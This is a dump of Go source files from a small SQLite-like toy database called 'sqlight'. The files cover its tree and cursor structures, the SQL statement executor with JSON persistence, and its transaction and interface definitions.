287 |
288 | node := t.Root
289 |
290 | // Find leaf node
291 | for !node.IsLeaf {
292 | pos := node.findPosition(key)
293 | node = node.Children[pos]
294 | }
295 |
296 | // Search in leaf node
297 | pos := node.findPosition(key)
298 | if pos < len(node.Keys) && node.Keys[pos] == key {
299 | return node.Records[pos]
300 | }
301 |
302 | return nil
303 | }
304 |
305 | // BTreeSimple represents a simple B-tree for record storage
306 | type BTreeSimple struct {
307 | root *NodeSimple
308 | }
309 |
310 | // NodeSimple represents a node in the B-tree
311 | type NodeSimple struct {
312 | key int
313 | record *interfaces.Record
314 | left *NodeSimple
315 | right *NodeSimple
316 | }
317 |
318 | // NewBTreeSimple creates a new B-tree
319 | func NewBTreeSimple() *BTreeSimple {
320 | return &BTreeSimple{
321 | root: nil,
322 | }
323 | }
324 |
325 | // Insert adds a record to the B-tree
326 | func (bt *BTreeSimple) Insert(key int, record *interfaces.Record) error {
327 | // Check if key already exists
328 | if bt.Search(key) != nil {
329 | return fmt.Errorf("record with key %d already exists", key)
330 | }
331 |
332 | // Create a new node
333 | newNode := &NodeSimple{
334 | key: key,
335 | record: record,
336 | left: nil,
337 | right: nil,
338 | }
339 |
340 | // If tree is empty, set new node as root
341 | if bt.root == nil {
342 | bt.root = newNode
343 | return nil
344 | }
345 |
346 | // Otherwise, insert into the tree
347 | return bt.insertNode(bt.root, newNode)
348 | }
349 |
350 | // insertNode recursively inserts a node into the B-tree
351 | func (bt *BTreeSimple) insertNode(root, newNode *NodeSimple) error {
352 | if newNode.key < root.key {
353 | if root.left == nil {
354 | root.left = newNode
355 | return nil
356 | }
357 | return bt.insertNode(root.left, newNode)
358 | } else if newNode.key > root.key {
359 | if root.right == nil {
360 | root.right = newNode
361 | return nil
362 | }
363 | return bt.insertNode(root.right, newNode)
364 | }
365 |
366 | // Key already exists (should not happen due to the check in Insert)
367 | return fmt.Errorf("record with key %d already exists", newNode.key)
368 | }
369 |
370 | // Search finds a record by key
371 | func (bt *BTreeSimple) Search(key int) *interfaces.Record {
372 | if bt.root == nil {
373 | return nil
374 | }
375 |
376 | node := bt.searchNode(bt.root, key)
377 | if node == nil {
378 | return nil
379 | }
380 |
381 | return node.record
382 | }
383 |
384 | // searchNode recursively searches for a node by key
385 | func (bt *BTreeSimple) searchNode(root *NodeSimple, key int) *NodeSimple {
386 | if root == nil {
387 | return nil
388 | }
389 |
390 | if key == root.key {
391 | return root
392 | } else if key < root.key {
393 | return bt.searchNode(root.left, key)
394 | } else {
395 | return bt.searchNode(root.right, key)
396 | }
397 | }
398 |
399 | // Scan returns all records in the B-tree (in-order traversal)
400 | func (bt *BTreeSimple) Scan() []*interfaces.Record {
401 | records := make([]*interfaces.Record, 0)
402 | bt.inOrderTraversal(bt.root, &records)
403 | return records
404 | }
405 |
406 | // inOrderTraversal performs an in-order traversal of the B-tree
407 | func (bt *BTreeSimple) inOrderTraversal(root *NodeSimple, records *[]*interfaces.Record) {
408 | if root == nil {
409 | return
410 | }
411 |
412 | bt.inOrderTraversal(root.left, records)
413 | *records = append(*records, root.record)
414 | bt.inOrderTraversal(root.right, records)
415 | }
416 |
--------------------------------------------------------------------------------
/pkg/db/cursor.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | import "sqlight/pkg/interfaces"
4 |
5 | // Cursor represents a database cursor
6 | type Cursor struct {
7 | table *Table
8 | pos int
9 | }
10 |
11 | // NewCursor creates a new cursor for the table
12 | func NewCursor(t *Table) *Cursor {
13 | return &Cursor{
14 | table: t,
15 | pos: -1,
16 | }
17 | }
18 |
19 | // Next moves the cursor to the next record
20 | func (c *Cursor) Next() bool {
21 | records := c.table.GetRecords()
22 | c.pos++
23 | return c.pos < len(records)
24 | }
25 |
26 | // Current returns the current record
27 | func (c *Cursor) Current() *interfaces.Record {
28 | records := c.table.GetRecords()
29 | if c.pos >= 0 && c.pos < len(records) {
30 | return records[c.pos]
31 | }
32 | return nil
33 | }
34 |
--------------------------------------------------------------------------------
/pkg/db/database.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "io/ioutil"
7 | "os"
8 | "strconv"
9 | "strings"
10 | "sync"
11 |
12 | "sqlight/pkg/interfaces"
13 | )
14 |
15 | // Database represents a SQLite database
16 | type Database struct {
17 | mutex sync.RWMutex
18 | tables map[string]*interfaces.Table
19 | path string
20 | inTransaction bool
21 | snapshot map[string]*interfaces.Table
22 | }
23 |
24 | // NewDatabase creates a new database instance
25 | func NewDatabase(path string) (*Database, error) {
26 | db := &Database{
27 | tables: make(map[string]*interfaces.Table),
28 | path: path,
29 | }
30 |
31 | // Load existing database if file exists
32 | if _, err := os.Stat(path); err == nil {
33 | if err := db.load(); err != nil {
34 | return nil, err
35 | }
36 | }
37 |
38 | return db, nil
39 | }
40 |
41 | // Execute executes a SQL statement
42 | func (d *Database) Execute(stmt interfaces.Statement) (*interfaces.Result, error) {
43 | switch stmt.(type) {
44 | case *interfaces.BeginTransactionStatement:
45 | return d.executeBeginTransaction()
46 | case *interfaces.CommitStatement:
47 | return d.executeCommit()
48 | case *interfaces.RollbackStatement:
49 | return d.executeRollback()
50 | default:
51 | d.mutex.Lock()
52 | defer d.mutex.Unlock()
53 |
54 | switch s := stmt.(type) {
55 | case *interfaces.CreateStatement:
56 | return d.executeCreate(s)
57 | case *interfaces.InsertStatement:
58 | return d.executeInsert(s)
59 | case *interfaces.SelectStatement:
60 | return d.executeSelect(s)
61 | case *interfaces.DropStatement:
62 | return d.executeDrop(s)
63 | case *interfaces.DescribeStatement:
64 | return d.executeDescribe(s)
65 | case *interfaces.DeleteStatement:
66 | return d.executeDelete(s)
67 | default:
68 | return nil, fmt.Errorf("unsupported statement type: %T", stmt)
69 | }
70 | }
71 | }
72 |
73 | // executeBeginTransaction starts a new transaction
74 | func (d *Database) executeBeginTransaction() (*interfaces.Result, error) {
75 | d.mutex.Lock()
76 | defer d.mutex.Unlock()
77 |
78 | if d.inTransaction {
79 | return nil, fmt.Errorf("transaction already in progress")
80 | }
81 |
82 | // Create a deep copy of current database state
83 | d.snapshot = make(map[string]*interfaces.Table)
84 | for name, table := range d.tables {
85 | newTable := &interfaces.Table{
86 | Name: table.Name,
87 | Columns: make([]interfaces.Column, len(table.Columns)),
88 | Records: make([]*interfaces.Record, len(table.Records)),
89 | }
90 | copy(newTable.Columns, table.Columns)
91 | for i, record := range table.Records {
92 | newRecord := &interfaces.Record{
93 | Columns: make(map[string]interface{}),
94 | }
95 | for k, v := range record.Columns {
96 | newRecord.Columns[k] = v
97 | }
98 | newTable.Records[i] = newRecord
99 | }
100 | d.snapshot[name] = newTable
101 | }
102 |
103 | d.inTransaction = true
104 | return &interfaces.Result{
105 | Success: true,
106 | Message: "Transaction started",
107 | }, nil
108 | }
109 |
110 | // executeCommit commits the current transaction
111 | func (d *Database) executeCommit() (*interfaces.Result, error) {
112 | d.mutex.Lock()
113 | defer d.mutex.Unlock()
114 |
115 | if !d.inTransaction {
116 | return nil, fmt.Errorf("no transaction in progress")
117 | }
118 |
119 | // Clear snapshot and commit by saving to disk
120 | d.tables = d.snapshot
121 | d.snapshot = nil
122 | d.inTransaction = false
123 | if err := d.save(); err != nil {
124 | return nil, err
125 | }
126 |
127 | return &interfaces.Result{
128 | Success: true,
129 | Message: "Transaction committed successfully",
130 | }, nil
131 | }
132 |
133 | // executeRollback aborts the current transaction
134 | func (d *Database) executeRollback() (*interfaces.Result, error) {
135 | d.mutex.Lock()
136 | defer d.mutex.Unlock()
137 |
138 | if !d.inTransaction {
139 | return nil, fmt.Errorf("no transaction in progress")
140 | }
141 |
142 | // Restore from snapshot
143 | d.snapshot = nil
144 | d.inTransaction = false
145 |
146 | return &interfaces.Result{
147 | Success: true,
148 | Message: "Transaction rolled back successfully",
149 | }, nil
150 | }
151 |
152 | // executeCreate handles CREATE TABLE statements
153 | func (d *Database) executeCreate(stmt *interfaces.CreateStatement) (*interfaces.Result, error) {
154 | if _, exists := d.tables[stmt.TableName]; exists {
155 | return nil, fmt.Errorf("table %s already exists", stmt.TableName)
156 | }
157 |
158 | // Validate constraints
159 | primaryKeyCount := 0
160 | for _, col := range stmt.Columns {
161 | if col.PrimaryKey {
162 | primaryKeyCount++
163 | if primaryKeyCount > 1 {
164 | return nil, fmt.Errorf("table can only have one PRIMARY KEY")
165 | }
166 | }
167 | }
168 |
169 | // Create table
170 | table := &interfaces.Table{
171 | Name: stmt.TableName,
172 | Columns: stmt.Columns,
173 | Records: make([]*interfaces.Record, 0),
174 | }
175 |
176 | // Add table to transaction if in transaction, otherwise add to database
177 | if d.inTransaction {
178 | d.tables[stmt.TableName] = table
179 | } else {
180 | d.tables[stmt.TableName] = table
181 | if err := d.save(); err != nil {
182 | return nil, err
183 | }
184 | }
185 |
186 | return &interfaces.Result{
187 | Success: true,
188 | Message: fmt.Sprintf("Table %s created successfully", stmt.TableName),
189 | }, nil
190 | }
191 |
192 | // getColumnValue converts a value to the appropriate type based on column definition
193 | func getColumnValue(colDef *interfaces.Column, value interface{}) (interface{}, error) {
194 | switch colDef.Type {
195 | case "INT", "INTEGER":
196 | switch v := value.(type) {
197 | case int:
198 | return v, nil
199 | case float64:
200 | return int(v), nil
201 | case string:
202 | return strconv.Atoi(v)
203 | default:
204 | return nil, fmt.Errorf("invalid integer value: %v", value)
205 | }
206 | case "TEXT":
207 | return fmt.Sprintf("%v", value), nil
208 | default:
209 | return value, nil
210 | }
211 | }
212 |
213 | // compareValues compares two values based on their types
214 | func compareValues(v1, v2 interface{}) bool {
215 | // Handle nil values
216 | if v1 == nil && v2 == nil {
217 | return true
218 | }
219 | if v1 == nil || v2 == nil {
220 | return false
221 | }
222 |
223 | switch val1 := v1.(type) {
224 | case int:
225 | switch val2 := v2.(type) {
226 | case int:
227 | return val1 == val2
228 | case float64:
229 | return float64(val1) == val2
230 | case string:
231 | if num, err := strconv.Atoi(val2); err == nil {
232 | return val1 == num
233 | }
234 | }
235 | case float64:
236 | switch val2 := v2.(type) {
237 | case float64:
238 | return val1 == val2
239 | case int:
240 | return val1 == float64(val2)
241 | case string:
242 | if num, err := strconv.ParseFloat(val2, 64); err == nil {
243 | return val1 == num
244 | }
245 | }
246 | case string:
247 | switch val2 := v2.(type) {
248 | case string:
249 | // For string comparison, use exact matching
250 | return val1 == val2
251 | case int:
252 | if num, err := strconv.Atoi(val1); err == nil {
253 | return num == val2
254 | }
255 | case float64:
256 | if num, err := strconv.ParseFloat(val1, 64); err == nil {
257 | return num == val2
258 | }
259 | }
260 | }
261 | return false
262 | }
263 |
264 | // executeInsert handles INSERT statements
265 | func (d *Database) executeInsert(stmt *interfaces.InsertStatement) (*interfaces.Result, error) {
266 | table, tableName, err := d.getTable(stmt.TableName, true)
267 | if err != nil {
268 | return nil, err
269 | }
270 |
271 | // Create column name mapping for case-insensitive comparison
272 | columnMap := d.getColumnMap(table)
273 |
274 | // Create a new record with the provided values
275 | record := &interfaces.Record{
276 | Columns: make(map[string]interface{}),
277 | }
278 |
279 | // Validate column count
280 | if len(stmt.Columns) != len(stmt.Values) {
281 | return nil, fmt.Errorf("column count (%d) does not match value count (%d)", len(stmt.Columns), len(stmt.Values))
282 | }
283 |
284 | // First pass: validate and set column values
285 | for i, col := range stmt.Columns {
286 | actualCol, exists := columnMap[strings.ToLower(col)]
287 | if !exists {
288 | return nil, fmt.Errorf("column %s does not exist", col)
289 | }
290 |
291 | // Get column definition
292 | var colDef *interfaces.Column
293 | for _, c := range table.Columns {
294 | if c.Name == actualCol {
295 | colDef = &c
296 | break
297 | }
298 | }
299 | if colDef == nil {
300 | return nil, fmt.Errorf("column %s not found in table definition", actualCol)
301 | }
302 |
303 | // Convert and validate value
304 | value, err := getColumnValue(colDef, stmt.Values[i])
305 | if err != nil {
306 | return nil, fmt.Errorf("invalid value for column %s: %v", actualCol, err)
307 | }
308 | record.Columns[actualCol] = value
309 | }
310 |
311 | // Second pass: validate constraints
312 | for _, col := range table.Columns {
313 | value, exists := record.Columns[col.Name]
314 |
315 | // Check NOT NULL constraint
316 | if !col.Nullable && (!exists || value == nil) {
317 | return nil, fmt.Errorf("column %s cannot be null", col.Name)
318 | }
319 |
320 | // Check PRIMARY KEY and UNIQUE constraints
321 | if (col.PrimaryKey || col.Unique) && exists && value != nil {
322 | for _, existingRecord := range table.Records {
323 | existingValue := existingRecord.Columns[col.Name]
324 | if existingValue == nil {
325 | continue
326 | }
327 |
328 | // For string values, do exact comparison
329 | if strValue, ok := value.(string); ok {
330 | if strExistingValue, ok := existingValue.(string); ok {
331 | if strValue == strExistingValue {
332 | constraint := "UNIQUE"
333 | if col.PrimaryKey {
334 | constraint = "PRIMARY KEY"
335 | }
336 | return nil, fmt.Errorf("duplicate value in %s column %s", constraint, col.Name)
337 | }
338 | continue
339 | }
340 | }
341 |
342 | // For other types use compareValues
343 | if compareValues(value, existingValue) {
344 | constraint := "UNIQUE"
345 | if col.PrimaryKey {
346 | constraint = "PRIMARY KEY"
347 | }
348 | return nil, fmt.Errorf("duplicate value in %s column %s", constraint, col.Name)
349 | }
350 | }
351 | }
352 | }
353 |
354 | // Add record to table
355 | table.Records = append(table.Records, record)
356 |
357 | // Update the appropriate table map
358 | if d.inTransaction {
359 | d.snapshot[tableName] = table
360 | } else {
361 | d.tables[tableName] = table
362 | if err := d.save(); err != nil {
363 | return nil, err
364 | }
365 | }
366 |
367 | return &interfaces.Result{
368 | Success: true,
369 | Message: "Record inserted successfully",
370 | }, nil
371 | }
372 |
373 | // executeSelect handles SELECT statements
374 | func (d *Database) executeSelect(stmt *interfaces.SelectStatement) (*interfaces.Result, error) {
375 | table, _, err := d.getTable(stmt.TableName, true)
376 | if err != nil {
377 | return nil, err
378 | }
379 |
380 | // Get column names case-insensitively
381 | columnMap := d.getColumnMap(table)
382 |
383 | // Prepare result columns
384 | columns := make([]string, 0)
385 | if len(stmt.Columns) == 0 || stmt.Columns[0] == "*" {
386 | // For SELECT *, use the original column order from table definition
387 | for _, col := range table.Columns {
388 | columns = append(columns, col.Name)
389 | }
390 | } else {
391 | for _, col := range stmt.Columns {
392 | actualCol, exists := columnMap[strings.ToLower(col)]
393 | if !exists {
394 | return nil, fmt.Errorf("column %s does not exist", col)
395 | }
396 | columns = append(columns, actualCol)
397 | }
398 | }
399 |
400 | // Filter records based on WHERE conditions
401 | var filteredRecords []*interfaces.Record
402 | if len(stmt.Where) == 0 {
403 | // If no WHERE clause, include all records
404 | filteredRecords = make([]*interfaces.Record, len(table.Records))
405 | copy(filteredRecords, table.Records)
406 | } else {
407 | // Apply WHERE conditions
408 | for _, record := range table.Records {
409 | matches := true
410 | for col, value := range stmt.Where {
411 | actualCol, exists := columnMap[strings.ToLower(col)]
412 | if !exists {
413 | return nil, fmt.Errorf("column %s does not exist", col)
414 | }
415 |
416 | recordValue := record.Columns[actualCol]
417 | if !compareValues(recordValue, value) {
418 | matches = false
419 | break
420 | }
421 | }
422 | if matches {
423 | filteredRecords = append(filteredRecords, record)
424 | }
425 | }
426 | }
427 |
428 | // Create result records with only the requested columns
429 | resultRecords := make([]*interfaces.Record, 0, len(filteredRecords))
430 | for _, record := range filteredRecords {
431 | resultRecord := &interfaces.Record{
432 | Columns: make(map[string]interface{}),
433 | }
434 | for _, col := range columns {
435 | resultRecord.Columns[col] = record.Columns[col]
436 | }
437 | resultRecords = append(resultRecords, resultRecord)
438 | }
439 |
440 | return &interfaces.Result{
441 | Success: true,
442 | Message: fmt.Sprintf("Found %d record(s)", len(resultRecords)),
443 | Records: resultRecords,
444 | Columns: columns,
445 | IsSelect: true,
446 | }, nil
447 | }
448 |
449 | // compareWithOperator compares two values using the specified operator
450 | func compareWithOperator(v1, v2 interface{}, operator string) bool {
451 | // Handle nil values
452 | if v1 == nil && v2 == nil {
453 | return operator == "="
454 | }
455 | if v1 == nil || v2 == nil {
456 | return operator == "!="
457 | }
458 |
459 | // v1 is the value from the WHERE condition
460 | // v2 is the value from the record
461 | // So the comparison should be: record_value operator condition_value
462 | // For example: if WHERE age > 30, then we check if record.age > 30
463 |
464 | switch val1 := v1.(type) {
465 | case int:
466 | switch val2 := v2.(type) {
467 | case int:
468 | return compareInts(val2, val1, operator)
469 | case float64:
470 | return compareFloats(val2, float64(val1), operator)
471 | case string:
472 | if num, err := strconv.Atoi(val2); err == nil {
473 | return compareInts(num, val1, operator)
474 | }
475 | if num, err := strconv.ParseFloat(val2, 64); err == nil {
476 | return compareFloats(num, float64(val1), operator)
477 | }
478 | }
479 | case float64:
480 | switch val2 := v2.(type) {
481 | case float64:
482 | return compareFloats(val2, val1, operator)
483 | case int:
484 | return compareFloats(float64(val2), val1, operator)
485 | case string:
486 | if num, err := strconv.ParseFloat(val2, 64); err == nil {
487 | return compareFloats(num, val1, operator)
488 | }
489 | }
490 | case string:
491 | switch val2 := v2.(type) {
492 | case string:
493 | return compareStrings(val2, val1, operator)
494 | case int:
495 | if num, err := strconv.Atoi(val1); err == nil {
496 | return compareInts(val2, num, operator)
497 | }
498 | case float64:
499 | if num, err := strconv.ParseFloat(val1, 64); err == nil {
500 | return compareFloats(val2, num, operator)
501 | }
502 | }
503 | }
504 | return false
505 | }
506 |
507 | // compareInts compares two integers using the specified operator
508 | func compareInts(a, b int, operator string) bool {
509 | switch operator {
510 | case "=":
511 | return a == b
512 | case "!=":
513 | return a != b
514 | case ">":
515 | return a > b
516 | case "<":
517 | return a < b
518 | case ">=":
519 | return a >= b
520 | case "<=":
521 | return a <= b
522 | default:
523 | return false
524 | }
525 | }
526 |
527 | // compareFloats compares two floats using the specified operator
528 | func compareFloats(a, b float64, operator string) bool {
529 | switch operator {
530 | case "=":
531 | return a == b
532 | case "!=":
533 | return a != b
534 | case ">":
535 | return a > b
536 | case "<":
537 | return a < b
538 | case ">=":
539 | return a >= b
540 | case "<=":
541 | return a <= b
542 | default:
543 | return false
544 | }
545 | }
546 |
547 | // compareStrings compares two strings using the specified operator
548 | func compareStrings(a, b string, operator string) bool {
549 | switch operator {
550 | case "=":
551 | return strings.EqualFold(a, b)
552 | case "!=":
553 | return !strings.EqualFold(a, b)
554 | case ">":
555 | return a > b
556 | case "<":
557 | return a < b
558 | case ">=":
559 | return a >= b
560 | case "<=":
561 | return a <= b
562 | default:
563 | return false
564 | }
565 | }
566 |
567 | // executeDescribe handles DESCRIBE statements
568 | func (d *Database) executeDescribe(stmt *interfaces.DescribeStatement) (*interfaces.Result, error) {
569 | table, _, err := d.getTable(stmt.TableName, true)
570 | if err != nil {
571 | return nil, err
572 | }
573 |
574 | // Format column information
575 | columns := []string{"Field", "Type", "Constraints"}
576 | var records []*interfaces.Record
577 |
578 | for _, col := range table.Columns {
579 | constraints := make([]string, 0)
580 | if col.PrimaryKey {
581 | constraints = append(constraints, "PRIMARY KEY")
582 | }
583 | if !col.Nullable {
584 | constraints = append(constraints, "NOT NULL")
585 | }
586 | if col.Unique {
587 | constraints = append(constraints, "UNIQUE")
588 | }
589 |
590 | record := &interfaces.Record{
591 | Columns: map[string]interface{}{
592 | "Field": col.Name,
593 | "Type": col.Type,
594 | "Constraints": strings.Join(constraints, ", "),
595 | },
596 | }
597 | records = append(records, record)
598 | }
599 |
600 | return &interfaces.Result{
601 | Success: true,
602 | Columns: columns,
603 | Records: records,
604 | IsSelect: true,
605 | }, nil
606 | }
607 |
608 | // executeDrop handles DROP TABLE statements
609 | func (d *Database) executeDrop(stmt *interfaces.DropStatement) (*interfaces.Result, error) {
610 | _, tableName, err := d.getTable(stmt.TableName, true)
611 | if err != nil {
612 | return nil, err
613 | }
614 |
615 | // Remove table from the appropriate map
616 | if d.inTransaction {
617 | delete(d.snapshot, tableName)
618 | } else {
619 | delete(d.tables, tableName)
620 | if err := d.save(); err != nil {
621 | return nil, err
622 | }
623 | }
624 |
625 | return &interfaces.Result{
626 | Success: true,
627 | Message: fmt.Sprintf("Table %s dropped successfully", stmt.TableName),
628 | }, nil
629 | }
630 |
631 | // executeDelete handles DELETE statements
632 | func (d *Database) executeDelete(stmt *interfaces.DeleteStatement) (*interfaces.Result, error) {
633 | table, tableName, err := d.getTable(stmt.TableName, true)
634 | if err != nil {
635 | return nil, err
636 | }
637 |
638 | // Create column name mapping for case-insensitive comparison
639 | columnMap := d.getColumnMap(table)
640 |
641 | // Filter records that match WHERE conditions
642 | newRecords := make([]*interfaces.Record, 0)
643 | deletedCount := 0
644 |
645 | // If no WHERE clause, delete all records
646 | if len(stmt.Where) == 0 {
647 | deletedCount = len(table.Records)
648 | newRecords = make([]*interfaces.Record, 0) // Empty the records
649 | } else {
650 | // Process records with WHERE clause
651 | for _, record := range table.Records {
652 | match := true
653 | for whereCol, whereCondition := range stmt.Where {
654 | // Get actual column name from case-insensitive map
655 | actualCol, exists := columnMap[strings.ToLower(whereCol)]
656 | if !exists {
657 | return nil, fmt.Errorf("column %s does not exist", whereCol)
658 | }
659 |
660 | recordValue := record.Columns[actualCol]
661 | if recordValue == nil {
662 | match = false
663 | break
664 | }
665 |
666 | // Extract operator and value from the condition
667 | condMap, ok := whereCondition.(map[string]interface{})
668 | if !ok {
669 | return nil, fmt.Errorf("invalid where condition format")
670 | }
671 |
672 | operator := condMap["operator"].(string)
673 | whereVal := condMap["value"]
674 |
675 | // Compare based on operator
676 | if !compareWithOperator(whereVal, recordValue, operator) {
677 | match = false
678 | break
679 | }
680 | }
681 | if !match {
682 | newRecords = append(newRecords, record)
683 | } else {
684 | deletedCount++
685 | }
686 | }
687 | }
688 |
689 | // Update table with filtered records
690 | table.Records = newRecords
691 |
692 | // Update the appropriate table map
693 | if d.inTransaction {
694 | d.snapshot[tableName] = table
695 | } else {
696 | d.tables[tableName] = table
697 | if err := d.save(); err != nil {
698 | return nil, err
699 | }
700 | }
701 |
702 | return &interfaces.Result{
703 | Success: true,
704 | Message: fmt.Sprintf("%d record(s) deleted successfully", deletedCount),
705 | }, nil
706 | }
707 |
708 | // getTable finds a table case-insensitively
709 | func (d *Database) getTable(tableName string, useSnapshot bool) (*interfaces.Table, string, error) {
710 | // Get the target table map based on transaction state
711 | tables := d.tables
712 | if useSnapshot && d.inTransaction {
713 | tables = d.snapshot
714 | }
715 |
716 | // Find table case-insensitively
717 | var table *interfaces.Table
718 | var actualName string
719 | for name, t := range tables {
720 | if strings.EqualFold(name, tableName) {
721 | table = t
722 | actualName = name
723 | break
724 | }
725 | }
726 |
727 | if table == nil {
728 | return nil, "", fmt.Errorf("table %s does not exist", tableName)
729 | }
730 |
731 | return table, actualName, nil
732 | }
733 |
734 | // getColumnMap creates a case-insensitive column name mapping
735 | func (d *Database) getColumnMap(table *interfaces.Table) map[string]string {
736 | columnMap := make(map[string]string)
737 | for _, col := range table.Columns {
738 | columnMap[strings.ToLower(col.Name)] = col.Name
739 | }
740 | return columnMap
741 | }
742 |
743 | // save saves the database to a file
744 | func (d *Database) save() error {
745 | data, err := json.MarshalIndent(d.tables, "", " ")
746 | if err != nil {
747 | return err
748 | }
749 | return ioutil.WriteFile(d.path, data, 0644)
750 | }
751 |
752 | // load loads the database from a file
753 | func (d *Database) load() error {
754 | data, err := ioutil.ReadFile(d.path)
755 | if err != nil {
756 | return err
757 | }
758 | return json.Unmarshal(data, &d.tables)
759 | }
760 |
761 | // GetTables returns a list of all table names in the database
762 | func (d *Database) GetTables() []string {
763 | d.mutex.RLock()
764 | defer d.mutex.RUnlock()
765 |
766 | tableNames := make([]string, 0, len(d.tables))
767 | for name := range d.tables {
768 | tableNames = append(tableNames, name)
769 | }
770 |
771 | return tableNames
772 | }
773 |
774 | // Save saves the database to the specified file
775 | func (d *Database) Save(path string) error {
776 | d.mutex.RLock()
777 | defer d.mutex.RUnlock()
778 |
779 | // Use the provided path or the default one
780 | savePath := path
781 | if savePath == "" {
782 | savePath = d.path
783 | }
784 |
785 | // Create a serializable representation of the database
786 | serialized := make(map[string]interfaces.Table)
787 | for name, table := range d.tables {
788 | serialized[name] = *table
789 | }
790 |
791 | // Marshal to JSON
792 | data, err := json.MarshalIndent(serialized, "", " ")
793 | if err != nil {
794 | return err
795 | }
796 |
797 | // Write to file
798 | return ioutil.WriteFile(savePath, data, 0644)
799 | }
800 |
--------------------------------------------------------------------------------
/pkg/db/record.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | type Record struct {
4 | Id int `json:"id"`
5 | Name string `json:"name"`
6 | }
7 |
--------------------------------------------------------------------------------
/pkg/db/table.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | import (
4 | "fmt"
5 | "sqlight/pkg/interfaces"
6 | )
7 |
8 | // Table represents a database table
9 | type Table struct {
10 | name string
11 | columns []interfaces.Column
12 | records []*interfaces.Record
13 | }
14 |
15 | // NewTable creates a new table with the given columns
16 | func NewTable(columns []interfaces.Column) (*Table, error) {
17 | if len(columns) == 0 {
18 | return nil, fmt.Errorf("table must have at least one column")
19 | }
20 |
21 | return &Table{
22 | columns: columns,
23 | records: make([]*interfaces.Record, 0),
24 | }, nil
25 | }
26 |
27 | // SetName sets the table name
28 | func (t *Table) SetName(name string) {
29 | t.name = name
30 | }
31 |
32 | // GetName returns the table name
33 | func (t *Table) GetName() string {
34 | return t.name
35 | }
36 |
37 | // Insert adds a new record to the table
38 | func (t *Table) Insert(record *interfaces.Record) error {
39 | // Validate record against column definitions
40 | for _, col := range t.columns {
41 | value, exists := record.Columns[col.Name]
42 |
43 | // Check NOT NULL constraint
44 | if !col.Nullable && (!exists || value == nil) {
45 | return fmt.Errorf("column %s cannot be null", col.Name)
46 | }
47 |
48 | // Check PRIMARY KEY and UNIQUE constraints
49 | if (col.PrimaryKey || col.Unique) && exists {
50 | for _, existingRecord := range t.records {
51 | if existingValue, ok := existingRecord.Columns[col.Name]; ok && existingValue == value {
52 | constraint := "UNIQUE"
53 | if col.PrimaryKey {
54 | constraint = "PRIMARY KEY"
55 | }
56 | return fmt.Errorf("duplicate value in %s column %s", constraint, col.Name)
57 | }
58 | }
59 | }
60 | }
61 |
62 | t.records = append(t.records, record)
63 | return nil
64 | }
65 |
66 | // GetRecords returns all records in the table
67 | func (t *Table) GetRecords() []*interfaces.Record {
68 | return t.records
69 | }
70 |
71 | // GetColumns returns all column names
72 | func (t *Table) GetColumns() []string {
73 | names := make([]string, len(t.columns))
74 | for i, col := range t.columns {
75 | names[i] = col.Name
76 | }
77 | return names
78 | }
79 |
80 | // GetColumnDefs returns all column definitions
81 | func (t *Table) GetColumnDefs() []interfaces.Column {
82 | return t.columns
83 | }
84 |
--------------------------------------------------------------------------------
/pkg/db/transaction.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | import (
4 | "sqlight/pkg/interfaces"
5 | "sync"
6 | )
7 |
8 | // Transaction represents a database transaction
9 | type Transaction struct {
10 | db *Database
11 | tables map[string]*Table
12 | mutex sync.RWMutex
13 | started bool
14 | }
15 |
16 | // NewTransaction creates a new transaction
17 | func NewTransaction(db *Database) *Transaction {
18 | return &Transaction{
19 | db: db,
20 | tables: make(map[string]*Table),
21 | }
22 | }
23 |
24 | // Begin starts the transaction
25 | func (t *Transaction) Begin() error {
26 | t.mutex.Lock()
27 | defer t.mutex.Unlock()
28 |
29 | if t.started {
30 | return nil
31 | }
32 |
33 | t.started = true
34 | return nil
35 | }
36 |
37 | // Commit commits the transaction
38 | func (t *Transaction) Commit() error {
39 | t.mutex.Lock()
40 | defer t.mutex.Unlock()
41 |
42 | if !t.started {
43 | return nil
44 | }
45 |
46 | t.started = false
47 | return nil
48 | }
49 |
50 | // Rollback rolls back the transaction
51 | func (t *Transaction) Rollback() error {
52 | t.mutex.Lock()
53 | defer t.mutex.Unlock()
54 |
55 | if !t.started {
56 | return nil
57 | }
58 |
59 | t.started = false
60 | return nil
61 | }
62 |
63 | // Execute executes a statement within the transaction
64 | func (t *Transaction) Execute(stmt interfaces.Statement) (*interfaces.Result, error) {
65 | return t.db.Execute(stmt)
66 | }
67 |
--------------------------------------------------------------------------------
/pkg/interfaces/interfaces.go:
--------------------------------------------------------------------------------
1 | package interfaces
2 |
3 | // Statement represents a SQL statement
4 | type Statement interface {
5 | Type() string
6 | }
7 |
8 | // Column represents a table column definition
9 | type Column struct {
10 | Name string
11 | Type string
12 | PrimaryKey bool
13 | Nullable bool
14 | Unique bool
15 | }
16 |
17 | // Table represents a database table
18 | type Table struct {
19 | Name string
20 | Columns []Column
21 | Records []*Record
22 | }
23 |
24 | // CreateStatement represents a CREATE TABLE statement
25 | type CreateStatement struct {
26 | TableName string
27 | Columns []Column
28 | }
29 |
30 | func (s *CreateStatement) Type() string {
31 | return "CREATE"
32 | }
33 |
34 | // InsertStatement represents an INSERT statement
35 | type InsertStatement struct {
36 | TableName string
37 | Columns []string
38 | Values []interface{}
39 | }
40 |
41 | func (s *InsertStatement) Type() string {
42 | return "INSERT"
43 | }
44 |
45 | // SelectStatement represents a SELECT statement
46 | type SelectStatement struct {
47 | TableName string
48 | Columns []string
49 | Where map[string]interface{}
50 | }
51 |
52 | func (s *SelectStatement) Type() string {
53 | return "SELECT"
54 | }
55 |
56 | // DropStatement represents a DROP TABLE statement
57 | type DropStatement struct {
58 | TableName string
59 | }
60 |
61 | func (s *DropStatement) Type() string {
62 | return "DROP"
63 | }
64 |
65 | // DescribeStatement represents a DESCRIBE TABLE statement
66 | type DescribeStatement struct {
67 | TableName string
68 | }
69 |
70 | func (s *DescribeStatement) Type() string {
71 | return "DESCRIBE"
72 | }
73 |
74 | // DeleteStatement represents a DELETE statement
75 | type DeleteStatement struct {
76 | TableName string
77 | Where map[string]interface{}
78 | }
79 |
80 | func (s *DeleteStatement) Type() string {
81 | return "DELETE"
82 | }
83 |
84 | // BeginTransactionStatement represents a BEGIN TRANSACTION statement
85 | type BeginTransactionStatement struct{}
86 |
